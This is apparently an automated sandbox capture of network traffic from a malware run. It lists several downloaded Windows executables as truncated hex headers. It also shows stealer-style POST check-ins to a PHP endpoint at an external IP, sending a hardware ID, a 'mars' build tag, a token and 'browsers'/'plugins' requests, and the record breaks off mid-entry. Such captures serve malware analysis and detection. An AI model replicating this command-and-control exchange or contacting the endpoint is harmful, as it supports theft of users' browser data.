00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 16:07:54 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 16:07:56 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 16:07:57 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 12 Nov 2024 16:08:01 GMTContent-Type: application/octet-streamContent-Length: 3203072Last-Modified: Tue, 12 Nov 2024 15:57:31 GMTConnection: keep-aliveETag: "67337aeb-30e000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 f0 30 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 31 00 00 04 00 00 12 d8 31 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 d5 30 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d4 d4 30 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 92 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6c 67 75 6f 6f 6d 68 73 00 30 2a 00 00 b0 06 00 00 26 2a 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 62 73 72 63 7a 75 74 00 10 00 00 00 e0 30 00 00 04 00 00 00 ba 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 30 00 00 22 00 00 00 be 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 12 Nov 2024 16:09:08 GMTContent-Type: application/octet-streamContent-Length: 3144704Last-Modified: Tue, 12 Nov 2024 15:57:17 GMTConnection: keep-aliveETag: "67337add-2ffc00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 43 a3 32 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 dc 03 00 00 c8 00 00 00 00 00 00 00 10 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 30 00 00 04 00 00 32 3f 30 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 50 05 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 51 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 30 05 00 00 10 00 00 00 30 05 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 40 05 00 00 00 00 00 00 40 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 50 05 00 00 02 00 00 00 40 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 70 63 6e 62 62 74 64 70 00 a0 2a 00 00 60 05 00 00 94 2a 00 00 42 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 77 6a 61 63 70 77 77 00 10 00 00 00 00 30 00 00 04 00 00 00 d6 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 30 00 00 22 00 00 00 da 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 12 Nov 2024 16:09:18 GMTContent-Type: application/octet-streamContent-Length: 1795072Last-Modified: Tue, 12 Nov 2024 15:57:23 GMTConnection: keep-aliveETag: "67337ae3-1b6400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 b0 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 e0 68 00 00 04 00 00 35 6c 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 a0 24 00 00 00 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2a 00 00 c0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 77 65 6f 69 62 6b 6a 00 d0 19 00 00 d0 4e 00 00 c8 19 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 77 69 6c 69 6a 67 73 00 10 00 00 00 a0 68 00 00 04 00 00 00 3e 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 68 00 00 22 00 00 00 42 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAAAFBGDBKKEBGCFCBFHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 41 41 41 46 42 47 44 42 4b 4b 45 42 47 43 46 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 32 30 46 44 33 38 41 37 46 39 44 31 35 32 34 37 35 30 30 33 37 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 41 41 46 42 47 44 42 4b 4b 45 42 47 43 46 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 41 41 46 42 47 44 42 4b 4b 45 42 47 43 46 43 42 46 2d 2d 0d 0a Data Ascii: ------EBAAAFBGDBKKEBGCFCBFContent-Disposition: form-data; name="hwid"E20FD38A7F9D1524750037------EBAAAFBGDBKKEBGCFCBFContent-Disposition: form-data; name="build"mars------EBAAAFBGDBKKEBGCFCBF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGIDGCGIEGDGDGDGHJKHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 38 63 63 31 62 33 65 36 33 36 39 36 38 33 31 64 63 64 37 66 62 65 33 37 39 63 33 63 35 64 62 34 65 37 32 31 34 63 63 37 63 30 36 66 31 30 63 65 30 31 39 34 37 31 64 35 66 31 36 34 30 34 30 39 36 39 63 33 39 61 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 2d 2d 0d 0a Data Ascii: ------GCGIDGCGIEGDGDGDGHJKContent-Disposition: form-data; name="token"fa8cc1b3e63696831dcd7fbe379c3c5db4e7214cc7c06f10ce019471d5f164040969c39a------GCGIDGCGIEGDGDGDGHJKContent-Disposition: form-data; name="message"browsers------GCGIDGCGIEGDGDGDGHJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBGIDGCAFCBKECAAKJJKHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 38 63 63 31 62 33 65 36 33 36 39 36 38 33 31 64 63 64 37 66 62 65 33 37 39 63 33 63 35 64 62 34 65 37 32 31 34 63 63 37 63 30 36 66 31 30 63 65 30 31 39 34 37 31 64 35 66 31 36 34 30 34 30 39 36 39 63 33 39 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 2d 2d 0d 0a Data 